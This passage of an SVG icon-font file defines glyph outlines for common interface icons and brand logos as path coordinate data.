<glyph unicode="&#xf007;" d="M 352,32.75q0-30 -18.25-47.375t-48.5-17.375l-218.5,0 q-30.25,0 -48.5,17.375t-18.25,47.375q0,13.25 0.875,25.875t 3.5,27.25t 6.625,27.125t 10.75,24.375t 15.5,20.25t 21.375,13.375t 27.875,5q 2.25,0 10.5-5.375t 18.625-12t 27-12t 33.375-5.375t 33.375,5.375t 27,12t 18.625,12t 10.5,5.375q 15.25,0 27.875-5t 21.375-13.375t 15.5-20.25 t 10.75-24.375t 6.625-27.125t 3.5-27.25t 0.875-25.875zM 272,256q0-39.75 -28.125-67.875t-67.875-28.125t-67.875,28.125t-28.125,67.875t 28.125,67.875t 67.875,28.125t 67.875-28.125t 28.125-67.875z" horiz-adv-x="352"  />
<glyph unicode="&#xf006;" d="M 284.25,133l 76.5,74.25l-105.5,15.5l-47.25,95.5l-47.25-95.5l-105.5-15.5l 76.5-74.25l-18.25-105.25l 94.5,49.75l 94.25-49.75zM 416,222.25q0-5.5 -6.5-12l-90.75-88.5l 21.5-125q 0.25-1.75 0.25-5q0-12.5 -10.25-12.5q-4.75,0 -10,3l-112.25,59l-112.25-59q-5.5-3 -10-3q-5.25,0 -7.875,3.625t-2.625,8.875q0,1.5 0.5,5l 21.5,125 l-91,88.5q-6.25,6.75 -6.25,12q0,9.25 14,11.5l 125.5,18.25l 56.25,113.75q 4.75,10.25 12.25,10.25t 12.25-10.25l 56.25-113.75l 125.5-18.25q 14-2.25 14-11.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf005;" d="M 416,222.25q0-5.5 -6.5-12l-90.75-88.5l 21.5-125q 0.25-1.75 0.25-5q0-5.25 -2.625-8.875t-7.625-3.625q-4.75,0 -10,3l-112.25,59l-112.25-59q-5.5-3 -10-3q-5.25,0 -7.875,3.625t-2.625,8.875q0,1.5 0.5,5l 21.5,125l-91,88.5q-6.25,6.75 -6.25,12q0,9.25 14,11.5l 125.5,18.25l 56.25,113.75q 4.75,10.25 12.25,10.25t 12.25-10.25l 56.25-113.75 l 125.5-18.25q 14-2.25 14-11.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf004;" d="M 224-32q-6.5,0 -11,4.5l-156,150.5q-2.5,2 -6.875,6.5t-13.875,16.375t-17,24.375t-13.375,30.25t-5.875,34.5q0,55 31.75,86t 87.75,31q 15.5,0 31.625-5.375t 30-14.5t 23.875-17.125t 19-17q 9,9 19,17t 23.875,17.125t 30,14.5t 31.625,5.375q 56,0 87.75-31t 31.75-86q0-55.25 -57.25-112.5l-155.75-150 q-4.5-4.5 -11-4.5z"  />
<glyph unicode="&#xf003;" d="M 416,8l0,192 q-8-9 -17.25-16.5q-67-51.5 -106.5-84.5q-12.75-10.75 -20.75-16.75t-21.625-12.125t-25.625-6.125l-0.25,0 l-0.25,0 q-12,0 -25.625,6.125t-21.625,12.125t-20.75,16.75q-39.5,33 -106.5,84.5q-9.25,7.5 -17.25,16.5l0-192 q0-3.25 2.375-5.625t 5.625-2.375l 368,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 416,270.75l0,2.75 l0,3.375 t-0.125,3.25 t-0.75,3.125t-1.375,2.25t-2.25,1.875t-3.5,0.625l-368,0 q-3.25,0 -5.625-2.375t-2.375-5.625q0-42 36.75-71q 48.25-38 100.25-79.25q 1.5-1.25 8.75-7.375t 11.5-9.375t 11.125-7.875t 12.625-6.875t 10.75-2.25l 0.25,0 l 0.25,0 q 5,0 10.75,2.25t 12.625,6.875t 11.125,7.875t 11.5,9.375t 8.75,7.375q 52,41.25 100.25,79.25q 13.5,10.75 25.125,28.875t 11.625,32.875z M 448,280l0-272 q0-16.5 -11.75-28.25t-28.25-11.75l-368,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,272 q0,16.5 11.75,28.25t 28.25,11.75l 368,0 q 16.5,0 28.25-11.75t 11.75-28.25z"  />
<glyph unicode="&#xf002;" d="M 288,176q0,46.25 -32.875,79.125t-79.125,32.875t-79.125-32.875t-32.875-79.125t 32.875-79.125t 79.125-32.875t 79.125,32.875t 32.875,79.125zM 416-32q0-13 -9.5-22.5t-22.5-9.5q-13.5,0 -22.5,9.5l-85.75,85.5q-44.75-31 -99.75-31q-35.75,0 -68.375,13.875t-56.25,37.5t-37.5,56.25t-13.875,68.375 t 13.875,68.375t 37.5,56.25t 56.25,37.5t 68.375,13.875t 68.375-13.875t 56.25-37.5t 37.5-56.25t 13.875-68.375q0-55 -31-99.75l 85.75-85.75q 9.25-9.25 9.25-22.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf001;" d="M 384,328l0-280 q0-12.5 -8.5-22.25t-21.5-15.125t-25.875-8t-24.125-2.625t-24.125,2.625t-25.875,8t-21.5,15.125t-8.5,22.25t 8.5,22.25t 21.5,15.125t 25.875,8t 24.125,2.625q 26.25,0 48-9.75l0,134.25 l-192-59.25l0-177.25 q0-12.5 -8.5-22.25t-21.5-15.125t-25.875-8t-24.125-2.625t-24.125,2.625t-25.875,8t-21.5,15.125t-8.5,22.25 t 8.5,22.25t 21.5,15.125t 25.875,8t 24.125,2.625q 26.25,0 48-9.75l0,241.75 q0,7.75 4.75,14.125t 12.25,8.875l 208,64q 3,1 7,1q 10,0 17-7t 7-17z" horiz-adv-x="384"  />
<glyph unicode="&#xf000;" d="M 424.75,337.5q0-8.75 -10.75-19.5l-158-158l0-192 l 80,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75l-224,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 80,0 l0,192 l-158,158q-10.75,10.75 -10.75,19.5q0,5.75 4.5,9.125t 9.5,4.375t 10.75,1l 352,0 q 5.75,0 10.75-1t 9.5-4.375t 4.5-9.125z"  />
<glyph unicode="&#xe30a;" d="M 200.346,130.589C 144.39,151.712, 97.395,189.434, 94.282,238.579C 92.288,269.917, 100.195,297.312, 120.579,320.339L 37.341,300.47
		C 20.608,296.461, 10.304,279.661, 14.291,262.928L 83.552-26.659c 4.010-16.733, 20.787-27.037, 37.52-23.027l 35.638,8.512
		c-13.821,4.592-37.744,13.328-60.659,25.558l 33.219,75.354c0,0, 39.088-34.832, 95.245-34.832C 280.65,24.906, 305.626,90.806, 200.346,130.589zM 433.686,57.072L 364.47,346.659c-4.010,16.733-20.81,27.037-37.542,23.027l-59.629-14.269c 15.21-2.397, 45.293-8.982, 78.49-26.387
		l-25.962-71.994c0,0-21.616,24.147-79.587,27.082c-55.082,2.778-85.747-56.806, 21.728-91.952c 82.275-26.902, 108.595-78.758, 107.229-126.717
		c-0.717-24.931-9.453-45.226-19.555-60.502l 61.040,14.582C 427.392,23.539, 437.696,40.339, 433.686,57.072z"  />
<glyph unicode="&#xe30b;" d="M 247.184,138.026c-6.899,4.010-16.464,4.010-24.259,4.010L 197.366,142.035 l0-52.685 l 23.475,0 c 8.691,0, 19.757-0.605, 27.238,4.637
	c 6.899,4.637, 10.774,13.709, 10.774,22.355C 258.854,124.384, 254.061,133.994, 247.184,138.026z M 237.53,182.982
	c 5.69,4.323, 8.669,12.074, 8.669,19.174c0,7.728-3.584,15.142-10.147,19.152c-6.899,4.010-19.466,3.091-27.552,3.091L 197.366,224.4 l0-46.368 l 14.717,0 
	C 220.483,178.054, 230.362,177.427, 237.53,182.982z M 363.44,375.040L 84.538,375.040 C 42.806,375.040, 8.96,341.194, 8.96,299.44l0-278.858 c0-41.754, 33.846-75.6, 75.578-75.6
	l 278.88,0 c 41.754,0, 75.6,33.846, 75.6,75.6L 439.018,299.44 C 439.040,341.194, 405.194,375.040, 363.44,375.040z M 235.67,50.083L 147.818,50.083 L 147.818,262.144 l 95.984,0 
	c 27.798,0, 53.469-17.696, 53.469-48.922c0-24.102-13.462-40.611-30.621-45.763l0-0.605 c 25.469-5.242, 43.635-19.085, 43.635-52.438
	C 310.285,83.549, 289.251,50.083, 235.67,50.083z"  />
<glyph unicode="&#xe30c;" d="M 267.098,366.080c-85.366,0-155.59-65.923-162.445-149.498C 53.962,196.803, 17.92,147.456, 17.92,89.866c0-74.973, 61.040-135.946, 136.035-135.946
		c 57.725,0, 107.184,36.131, 126.896,86.957c 83.462,7.011, 149.229,77.123, 149.229,162.333C 430.080,293.011, 356.989,366.080, 267.098,366.080z M 153.955-0.765
		c-49.997,0-90.675,40.634-90.675,90.63c0,33.197, 17.965,62.272, 44.688,78.064c 13.664-61.667, 62.429-110.32, 124.208-123.872
		C 216.406,17.267, 187.242-0.765, 153.955-0.765z M 155.411,180.474c 48.787-0.762, 88.323-40.208, 89.197-88.95
		C 199.853,100.506, 164.483,135.763, 155.411,180.474z M 289.968,91.568c-0.918,73.718-60.816,133.459-134.602,134.221c 10.528,52.013, 56.605,91.302, 111.709,91.302
		c 62.854,0, 113.971-51.094, 113.971-113.882C 381.069,148.218, 341.914,102.208, 289.968,91.568z M 64.512,269.424c 25.648,0, 46.48,20.832, 46.48,46.435
		c0,25.603-20.832,46.435-46.48,46.435c-25.626,0-46.458-20.832-46.458-46.435C 18.054,290.256, 38.886,269.424, 64.512,269.424z M 64.512,341.485
		c 14.134,0, 25.648-11.491, 25.648-25.626c0-14.112-11.491-25.626-25.648-25.626c-14.112,0-25.626,11.491-25.626,25.626
		C 38.886,329.994, 50.4,341.485, 64.512,341.485z"  />
<glyph unicode="&#xe30d;" d="M 180.79,175.635c0,0, 42.403,3.293, 42.403,55.104S 188.496,307.84, 144.57,307.84L0,307.84 l0-289.542 l 144.57,0 c0,0, 88.234-2.89, 88.234,85.434
	C 232.826,103.731, 236.656,175.635, 180.79,175.635z M 63.706,256.387l 80.864,0 c0,0, 19.645,0, 19.645-30.128c0-30.128-11.558-34.496-24.685-34.496L 63.706,191.763 L 63.706,256.387 z
	 M 140.47,69.75L 63.706,69.75 l0,77.392 l 80.864,0 c0,0, 29.299,0.403, 29.299-39.76C 173.869,73.514, 151.984,69.997, 140.47,69.75z M 350.515,234.166
	c-106.848,0-106.758-111.216-106.758-111.216s-7.325-110.678, 106.758-110.678c0,0, 95.066-5.69, 95.066,77.011l-48.877,0 c0,0, 1.613-31.158-44.554-31.158
	c0,0-48.899-3.405-48.899,50.355l 143.965,0 C 447.238,108.458, 462.986,234.166, 350.515,234.166z M 393.994,147.12l-91.258,0 c0,0, 5.981,44.643, 48.899,44.643
	C 394.509,191.763, 393.994,147.12, 393.994,147.12z M 405.395,290.794L 290.752,290.794 l0-35.661 l 114.621,0 L 405.373,290.794 z"  />
<glyph unicode="&#xe30e;" d="M 213.83-2.579L 235.2-2.579 L 235.2-50.56 c 145.846,15.322, 223.597,159.958, 211.030,261.878c-12.634,101.92-122.102,172.301-245.146,157.226
		C 78.109,353.424-10.976,258.582, 1.635,156.662C 13.104,63.926, 104.675-2.669, 213.83-2.579z M 351.568,95.958l-41.037,0 L 310.531,206.906 
		c0,4.435-0.403,8.646-1.187,12.477c-0.65,3.338-1.882,6.115-3.674,8.49c-1.702,2.24-4.211,4.077-7.392,5.466
		c-3.405,1.478-8.131,2.24-13.955,2.24c-12.029,0-21.437-3.136-28-9.296C 249.76,220.166, 246.624,212.102, 246.624,201.664l0-105.706 L 205.587,95.958 L 205.587,206.906 
		c0,4.614-0.426,8.848-1.299,12.611C 203.526,222.922, 202.25,225.766, 200.413,228.186C 198.688,230.448, 196.403,232.195, 193.379,233.494
		C 190.154,234.861, 185.763,235.578, 180.365,235.578c-6.989,0-12.992-1.299-17.786-3.853C 157.584,229.059, 153.485,225.856, 150.438,222.227
		C 147.37,218.554, 145.13,214.746, 143.763,210.915C 142.374,207.062, 141.702,203.949, 141.702,201.664l0-105.706 L 100.688,95.958 L 100.688,268.326 l 39.379,0 l0-13.462 
		C 152.902,266.243, 169.299,272, 188.899,272c 11.424,0, 21.952-2.285, 31.338-6.787c 6.854-3.293, 12.41-8.221, 16.531-14.65
		c 5.152,5.555, 11.29,10.147, 18.211,13.642C 265.171,269.402, 276.461,272, 288.579,272c 9.005,0, 17.315-0.941, 24.73-2.8
		c 7.661-1.949, 14.403-5.062, 20.003-9.251c 5.779-4.323, 10.326-9.99, 13.53-16.822c 3.158-6.72, 4.771-14.762, 4.771-23.923L 351.613,95.958 z"  />
<glyph unicode="&#xe30f;" d="M 15.053,82.586L 22.4,113.946l-7.347,32.413c-0.202,0.963-2.038,1.702-4.301,1.702c-2.285,0-4.122-0.739-4.301-1.702L0,113.946
	l 6.474-31.36c 0.179-0.986, 2.016-1.702, 4.301-1.702C 13.014,80.883, 14.851,81.6, 15.053,82.586z M 60.973,65.181L 67.2,113.654L 60.973,188.627
	C 60.794,190.554, 58.464,192.054, 55.642,192.054c-2.845,0-5.174-1.478-5.309-3.405L 44.8,113.654l 5.533-48.474c 0.134-1.904, 2.464-3.382, 5.309-3.382
	C 58.464,61.776, 60.794,63.277, 60.973,65.181z M 106.803,65.965L 112,113.632L 106.803,213.469c-0.134,2.33-2.912,4.189-6.294,4.189
	c-3.405,0-6.182-1.837-6.294-4.189L 89.6,113.632l 4.614-47.69c 0.112-2.33, 2.89-4.166, 6.294-4.166
	C 103.891,61.776, 106.669,63.613, 106.803,65.965z M 152.544,66.682L 156.8,113.61l-4.256,100.576C 152.432,216.963, 149.296,219.158, 145.376,219.158
	c-3.942,0-7.078-2.195-7.19-4.973L 134.4,113.61l 3.808-46.928c 0.067-2.755, 3.226-4.95, 7.168-4.95C 149.296,61.731, 152.432,63.882, 152.544,66.682z
	 M 198.24,67.264L 201.6,113.587L 198.24,228.902C 198.173,232.083, 194.566,234.659, 190.221,234.659c-4.346,0-7.93-2.576-7.997-5.757L 179.2,113.632
	c0-0.067, 3.024-46.346, 3.024-46.346c 0.067-3.136, 3.651-5.712, 7.997-5.712C 194.566,61.552, 198.173,64.106, 198.24,67.264z M 230.227,61.53
	c 0.134,0, 159.018-0.090, 160.048-0.090c 31.898,0, 57.725,24.998, 57.725,55.843s-25.827,55.843-57.725,55.843c-7.93,0-15.456-1.546-22.333-4.346
	C 363.35,219.091, 319.693,258.56, 266.47,258.56c-13.014,0-25.715-2.464-36.915-6.675C 225.21,250.25, 224.022,248.592, 224,245.344l0-177.206 
	C 224.045,64.71, 226.778,61.866, 230.227,61.53z"  />
<glyph unicode="&#xe310;" d="M 130.099,343.187C 60.883,307.594, 17.92,237.437, 17.92,159.574c0-14.202, 1.792-28.605, 4.95-42.963L 200.928,278.742
	C 181.933,296.013, 132.026,341.418, 130.099,343.187z M 308.963,347.578C 282.061,359.808, 253.478,366.080, 223.978,366.080c-20.922,0-41.552-3.472-61.6-9.878
	l 146.563-133.302L 308.941,347.578 z M 340.301,329.411l0-237.843 l 78.064,0 c 7.683,21.997, 11.693,44.867, 11.693,68.006C 430.080,227.491, 395.942,291.107, 340.301,329.411z
	 M 32.749,83.213c 15.098-37.946, 41.619-70.582, 75.443-93.722l0,162.4 l-45.786-41.686C 46.771,95.981, 33.712,84.086, 32.749,83.213z M 139.552-28.698
	c 20.944-9.453, 42.851-15.299, 65.408-17.382l 37.834,0 c 67.626,6.317, 128.285,46.346, 161.258,106.288L 139.552,60.208 L 139.552-28.698 z"  />
<glyph unicode="&#xe311;" d="M 377.552,275.696c 6.093-11.514, 9.117-25.738, 9.117-42.829c0-38.797-16.352-70.112-49.011-93.878c-32.704-23.789-78.378-35.661-137.043-35.661
	L 186.883,103.328 c-10.326,0-20.653-8.109-22.96-18.032l-16.486-70.314c-2.307-9.946-12.634-18.077-22.96-18.077L 94.416-3.094 l-2.688-11.491
	C 89.398-24.509, 95.939-32.64, 106.243-32.64l 48.138,0 c 10.326,0, 20.675,8.109, 22.938,18.054l 16.509,70.336c 2.33,9.878, 12.634,18.010, 22.96,18.010l 13.731,0 
	c 58.666,0, 104.339,11.872, 137.021,35.683C 400.266,133.187, 416.64,164.48, 416.64,203.322c0,17.091-3.024,31.315-9.117,42.806
	c-6.070,11.424-14.918,20.742-26.454,27.843C 379.837,274.71, 378.829,275.002, 377.552,275.696z M 117.443,44.55l 16.509,70.336
	c 2.33,9.878, 12.611,18.010, 22.96,18.010l 13.731,0 c 58.666,0, 104.339,11.872, 137.021,35.683c 32.682,23.766, 49.034,55.059, 49.034,93.878
	c0,17.091-3.024,31.315-9.139,42.806c-6.070,11.424-14.918,20.742-26.432,27.843c-11.805,7.213-25.67,12.23-41.731,15.165
	C 263.334,351.162, 244.496,352.64, 222.858,352.64L 122.618,352.64 c-10.349,0-20.675-8.064-23.005-18.010L 31.83,44.573c-2.33-9.946, 4.211-18.077, 14.515-18.077
	l 48.138,0 C 104.832,26.496, 115.181,34.605, 117.443,44.55z M 156.778,212.842l 14.47,61.578C 173.578,284.342, 183.904,292.451, 194.186,292.451l 15.77,0 
	c 18.346,0, 32.278-3.091, 41.597-9.229c 9.341-6.093, 14.022-15.478, 14.022-28.224c0-19.242-7.28-34.115-21.728-44.554
	c-14.47-10.416-34.586-15.68-60.57-15.68L 171.36,194.765 C 161.011,194.765, 154.493,202.918, 156.778,212.842z"  />
<glyph unicode="&#xe312;" d="M 333.29,158.477c-6.138,1.859-10.371,3.158-7.123,11.379c 6.966,17.853, 7.683,33.242, 0.134,44.24
	c-14.179,20.608-52.931,19.51-97.373,0.538c0,0.022-13.955-6.205-10.394,5.085c 6.832,22.355, 5.802,41.082-4.838,51.901
	C 189.594,296.17, 125.485,270.656, 70.47,214.723c-41.171-41.91-65.072-86.33-65.072-124.746c0-73.472, 92.557-122.618, 183.12-122.618
	c 118.72,0, 197.68,74.682, 197.68,130.413C 386.198,131.462, 358.333,150.57, 333.29,158.477z M 188.765,0.288c-72.262-7.146-134.624,25.67-139.328,73.382
	c-4.682,47.69, 50.086,92.176, 122.349,99.366c 72.285,7.19, 134.646-25.648, 139.328-73.338S 261.027,7.478, 188.765,0.288z M 451.181,218.307
	c-0.045,74.189-60.211,134.333-134.4,134.333c-8.669,0-15.68-7.011-15.68-15.68s 7.011-15.658, 15.68-15.658c 56.896,0, 103.040-46.144, 103.040-103.062
	c0-8.669, 7.011-15.68, 15.68-15.68s 15.68,7.011, 15.68,15.68C 451.181,218.24, 451.181,218.285, 451.181,218.307z M 388.864,220.592
	c-7.168,34.989-34.765,62.563-69.731,69.731c-8.467,1.725-16.778-3.718-18.502-12.208c-1.747-8.467, 3.718-16.755, 12.186-18.502
	c 22.758-4.659, 40.678-22.579, 45.315-45.315c 1.747-8.49, 10.035-13.933, 18.525-12.208C 385.123,203.837, 390.611,212.125, 388.864,220.592z M 151.693,126.333
	c-29.098-5.846-48.742-30.262-43.859-54.522c 4.861-24.259, 32.413-39.178, 61.533-33.309c 29.098,5.846, 48.742,30.262, 43.859,54.522
	C 208.365,117.261, 180.813,132.179, 151.693,126.333z"  />
<glyph unicode="&#xe313;" d="M 189.683,364.624C 92.221,348.272, 17.92,263.555, 17.92,161.434c0-50.758, 18.39-97.194, 48.81-133.078c 72.15,34.922, 122.573,113.904, 122.954,205.856L 189.683,364.624 z
	 M 224.022,109.421c-12.835-53.155-51.184-98.582-98.963-128.778c 29.366-16.106, 63.078-25.267, 98.941-25.267c 35.885,0, 69.574,9.162, 98.963,25.29
	C 275.184,10.861, 236.858,56.266, 224.022,109.421z M 258.362,235.197c0-92.378, 50.534-171.786, 122.909-206.842c 30.419,35.93, 48.81,82.342, 48.81,133.078
	c0,102.099-74.256,186.816-171.718,203.168L 258.362,235.197 z"  />
<glyph unicode="&#xe314;" d="M 272.474,163.293c-5.152,3.45-11.514,6.429-18.816,8.87C 246.4,174.538, 238.224,176.755, 229.309,178.704C 222.275,180.384, 217.146,181.683, 214.077,182.557
	C 211.098,183.408, 208.118,184.595, 205.229,186.096C 202.429,187.53, 200.211,189.254, 198.666,191.226C 197.187,193.085, 196.47,195.213, 196.47,197.811
	c0,4.211, 2.24,7.773, 6.832,10.864c 4.771,3.226, 11.2,4.838, 19.085,4.838c 8.49,0, 14.672-1.456, 18.39-4.346
	c 3.808-3.002, 7.146-7.213, 9.856-12.589c 2.397-4.211, 4.502-7.123, 6.608-9.005c 2.195-2.016, 5.376-3.046, 9.453-3.046
	c 4.502,0, 8.31,1.635, 11.334,4.861c 2.979,3.226, 4.502,6.899, 4.502,10.931c0,4.211-1.187,8.557-3.45,12.925
	c-2.24,4.301-5.869,8.49-10.685,12.387c-4.816,3.853-10.931,6.989-18.189,9.318c-7.213,2.33-15.859,3.472-25.693,3.472
	c-12.298,0-23.162-1.747-32.301-5.219C 182.918,229.664, 175.728,224.534, 170.8,217.926C 165.85,211.274, 163.341,203.546, 163.341,194.989
	c0-8.96, 2.397-16.621, 7.123-22.691c 4.659-6.026, 11.021-10.797, 18.906-14.269c 7.728-3.36, 17.427-6.362, 28.851-8.87
	c 8.4-1.792, 15.21-3.517, 20.205-5.13c 4.794-1.523, 8.781-3.786, 11.738-6.675c 2.845-2.755, 4.234-6.25, 4.234-10.73
	c0-5.645-2.666-10.259-8.154-14.134c-5.6-3.942-13.059-5.936-22.176-5.936c-6.608,0-12.006,0.986-15.994,2.934
	c-3.965,1.926-7.078,4.39-9.229,7.325c-2.24,3.069-4.368,6.944-6.317,11.558c-1.747,4.211-3.92,7.482-6.451,9.699
	c-2.666,2.307-5.914,3.472-9.699,3.472c-4.614,0-8.467-1.478-11.491-4.39c-3.046-2.957-4.592-6.541-4.592-10.707
	c0-6.63, 2.374-13.53, 7.034-20.451c 4.637-6.899, 10.73-12.454, 18.144-16.554c 10.349-5.645, 23.61-8.512, 39.402-8.512
	c 13.171,0, 24.73,2.106, 34.406,6.205c 9.766,4.189, 17.27,10.058, 22.355,17.45c 5.13,7.459, 7.706,15.971, 7.706,25.29
	c0,7.818-1.478,14.493-4.458,19.958C 281.926,155.229, 277.76,159.776, 272.474,163.293z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040
	c 118.787,0, 215.040,96.275, 215.040,215.040S 342.787,375.040, 224,375.040z M 275.542,39.578c-10.886,0-21.168,2.822-30.173,7.795
	c-6.541-1.254-13.261-1.904-20.16-1.904c-60.794,0-110.096,50.736-110.096,113.277c0,7.818, 0.762,15.411, 2.24,22.781
	C 111.776,191.27, 108.573,202.605, 108.573,214.723c0,36.266, 28.582,65.699, 63.84,65.699c 12.499,0, 24.125-3.696, 33.981-10.080C 212.486,271.44, 218.781,272, 225.21,272
	c 60.794,0, 110.096-50.736, 110.096-113.277c0-8.333-0.874-16.464-2.531-24.304c 4.234-8.803, 6.608-18.682, 6.608-29.187
	C 339.36,68.989, 310.8,39.578, 275.542,39.578z"  />
<glyph unicode="&#xe315;" d="M 418.23,114.349c 2.979,13.978, 4.547,28.493, 4.547,43.411c0,111.686-88.010,202.25-196.582,202.25c-11.446,0-22.691-1.030-33.6-2.957
	C 174.989,368.432, 154.224,375.040, 131.914,375.040C 68.97,375.040, 17.92,322.512, 17.92,257.731c0-21.638, 5.734-41.91, 15.68-59.315
	c-2.598-13.126-3.987-26.723-3.987-40.656c0-111.686, 88.032-202.25, 196.582-202.25c 12.298,0, 24.349,1.165, 35.997,3.382
	c 16.038-8.87, 34.384-13.91, 53.872-13.91c 62.989,0, 114.016,52.506, 114.016,117.286C 430.080,80.973, 425.802,98.669, 418.23,114.349z M 327.018,61.082
	c-9.094-13.238-22.534-23.744-39.939-31.181c-17.248-7.37-37.878-11.11-61.421-11.11c-28.246,0-51.901,5.107-70.381,15.21
	c-13.216,7.325-24.102,17.27-32.368,29.523c-8.355,12.41-12.589,24.707-12.589,36.557c0,7.414, 2.755,13.843, 8.198,19.107
	c 5.398,5.197, 12.298,7.862, 20.518,7.862c 6.742,0, 12.589-2.083, 17.315-6.182c 4.525-3.965, 8.4-9.811, 11.514-17.315
	c 3.494-8.221, 7.28-15.142, 11.29-20.608c 3.853-5.242, 9.408-9.677, 16.486-13.126c 7.123-3.45, 16.733-5.219, 28.56-5.219
	c 16.24,0, 29.568,3.562, 39.581,10.618c 9.811,6.899, 14.56,15.142, 14.56,25.245c0,7.974-2.486,14.269-7.594,19.174
	c-5.354,5.13-12.432,9.139-20.989,11.894c-8.938,2.867-21.078,5.958-36.064,9.184c-20.406,4.502-37.744,9.834-51.52,15.859
	C 148.109,162.71, 136.73,171.267, 128.419,181.974c-8.445,10.842-12.723,24.506-12.723,40.544c0,15.277, 4.48,29.053, 13.35,40.925
	c 8.803,11.782, 21.616,20.966, 38.147,27.261C 183.523,296.909, 202.944,300.067, 224.896,300.067c 17.562,0, 32.995-2.106, 45.875-6.205
	c 12.947-4.166, 23.878-9.766, 32.458-16.666c 8.646-6.966, 15.075-14.403, 19.13-22.086c 4.077-7.818, 6.138-15.568, 6.138-23.072
	c0-7.235-2.71-13.798-8.064-19.533c-5.376-5.757-12.186-8.669-20.182-8.669c-7.258,0-12.97,1.837-16.934,5.421
	c-3.674,3.338-7.504,8.579-11.715,16.061c-4.906,9.61-10.842,17.158-17.629,22.467c-6.63,5.174-17.651,7.818-32.838,7.818
	c-14.090,0-25.558-2.912-34.070-8.669C 178.842,241.379, 174.877,235.040, 174.877,227.536c0-4.614, 1.277-8.467, 3.92-11.76
	c 2.8-3.517, 6.72-6.608, 11.715-9.162c 5.152-2.666, 10.483-4.794, 15.814-6.317c 5.466-1.546, 14.627-3.853, 27.216-6.854
	c 15.904-3.517, 30.509-7.459, 43.434-11.693c 13.104-4.301, 24.416-9.632, 33.645-15.792c 9.408-6.317, 16.867-14.426, 22.154-24.080
	c 5.286-9.722, 7.974-21.706, 7.974-35.616C 340.771,89.552, 336.157,74.387, 327.018,61.082z"  />
<glyph unicode="&#xe316;" d="M 125.418,192.659c0,36.669, 9.722,59.987, 42.314,65.229c 11.379,2.24, 35.078,1.434, 50.154,1.434l0-56 c0-0.493, 0.067-1.411, 0.202-1.882
	C 218.691,199.2, 220.73,197.52, 223.171,197.52c 1.389,0, 2.666,0.717, 4.010,2.016l 139.664,139.642L 273.078,339.2L 169.098,339.2 C 86.8,339.2, 44.8,291.802, 44.8,203.322l0-185.651 
	l 80.618,80.685L 125.418,192.659 z M 322.605,221.622l0-94.282 c0-36.669-9.744-60.010-42.336-65.229c-11.379-2.24-35.056-1.434-50.131-1.434l0,56 
	c0,0.493-0.090,1.411-0.202,1.882c-0.627,2.262-2.688,3.92-5.13,3.942c-1.389,0-2.643-0.717-4.010-2.038l-139.664-139.619L 174.922-19.2
	l 104.003,0 C 361.2-19.2, 403.2,28.176, 403.2,116.678L 403.2,302.33 L 322.605,221.622z"  />
<glyph unicode="&#xe317;" d="M 388.394,287.501c0,25.76-38.797,28.627-38.797,28.627l-91.146,5.734c0,0-1.949,24.819-20.384,33.421
		c-18.413,8.579-38.662,5.981-53.2,5.824S 166.858,342.381, 166.858,324.864s 0.336-37.677, 0.336-50.4c0-22.758-10.013-32.458-35.078-32.458L 80.438,242.006 
		C 65.99,242.947, 54.723,240.573, 54.723,228.88c0-11.67, 17.024-111.373, 40.365-134.378c 13.552-13.35, 96.41-22.714, 113.859-22.714s 11.648,51.542, 16.486,51.542
		s 10.192-29.12, 37.677-35.93c 27.485-6.854, 64.176-5.578, 66.125-25.133c 2.531-25.805, 4.838-59.203-12.141-61.578l-38.416-1.523
		c-26.342,1.904-19.286,30.666-7.661,30.666s 17.45,0.47, 17.45,0.47l 1.456,31.494c0,0-60.323,7.123-62.899-33.578
		c-2.33-37.184, 4.054-54.723, 8.736-58.531C 240.464-34.163, 248.573-41.6, 322.448-41.6C 426.541-41.6, 388.394,261.763, 388.394,287.501z M 345.856,152.81
		C 341.779,148.464, 326.995,160, 312.883,160c-14.134,0-29.389-7.482-32.973-2.576c-3.562,4.928, 3.293,44.621, 29.904,44.621
		S 349.955,157.178, 345.856,152.81zM 129.987,290.682c0,5.085, 1.322,66.842, 1.322,66.842L 52.774,280.49c0,0, 54.253,0, 64.893,0C 128.352,280.49, 129.987,285.574, 129.987,290.682z"  />
<glyph unicode="&#xe318;" d="M 136.842,363.795L 8.96,284.141l 87.606-73.45L 224,293.459L 136.842,363.795z M 301.325,25.734c-2.285,0-4.547,0.784-6.384,2.33L 224,86.886
	l-70.941-58.845c-1.837-1.523-4.122-2.33-6.384-2.33c-1.904,0-3.808,0.515-5.466,1.613l-52.55,34.384l0-20.294 L 224-43.795l 135.341,85.232
	l0,20.294 l-52.55-34.384C 305.133,26.25, 303.229,25.734, 301.325,25.734z M 439.040,284.141l-127.882,79.654L 224,293.459l 127.411-82.746L 439.040,284.141z
	 M 224,131.082l 79.005-65.587l 126.381,82.611l-77.952,62.586L 224,131.082z M 144.995,65.494L 224,131.082L 96.589,210.714l-77.952-62.608L 144.995,65.494z"  />
<glyph unicode="&#xe319;" d="M 340.48,160c0-64.333-52.17-116.48-116.48-116.48c-64.333,0-116.48,52.147-116.48,116.48c0,7.661, 0.762,15.142, 2.195,22.4L 31.36,182.4 l0-154.829 
	c0-33.242, 26.925-60.211, 60.211-60.211l 264.858,0 c 33.242,0, 60.211,26.947, 60.211,60.211L 416.64,182.4 l-78.333,0 C 339.718,175.142, 340.48,167.661, 340.48,160z M 356.429,352.64
	L 91.571,352.64 C 58.307,352.64, 31.36,325.67, 31.36,292.429L 31.36,227.2 l 97.53,0 C 149.968,256.992, 184.71,276.48, 224,276.48s 74.032-19.488, 95.11-49.28L 416.64,227.2 L 416.64,292.429 
	C 416.64,325.67, 389.67,352.64, 356.429,352.64z M 385.885,278.272c0-5.936-4.838-10.752-10.752-10.752l-32.234,0 c-5.914,0-10.752,4.838-10.752,10.752L 332.147,310.528 
	c0,5.936, 4.861,10.752, 10.752,10.752l 32.234,0 c 5.936,0, 10.752-4.838, 10.752-10.752L 385.885,278.272 z M 295.68,160c0,39.603-32.099,71.68-71.68,71.68S 152.32,199.603, 152.32,160
	s 32.099-71.68, 71.68-71.68S 295.68,120.397, 295.68,160z"  />
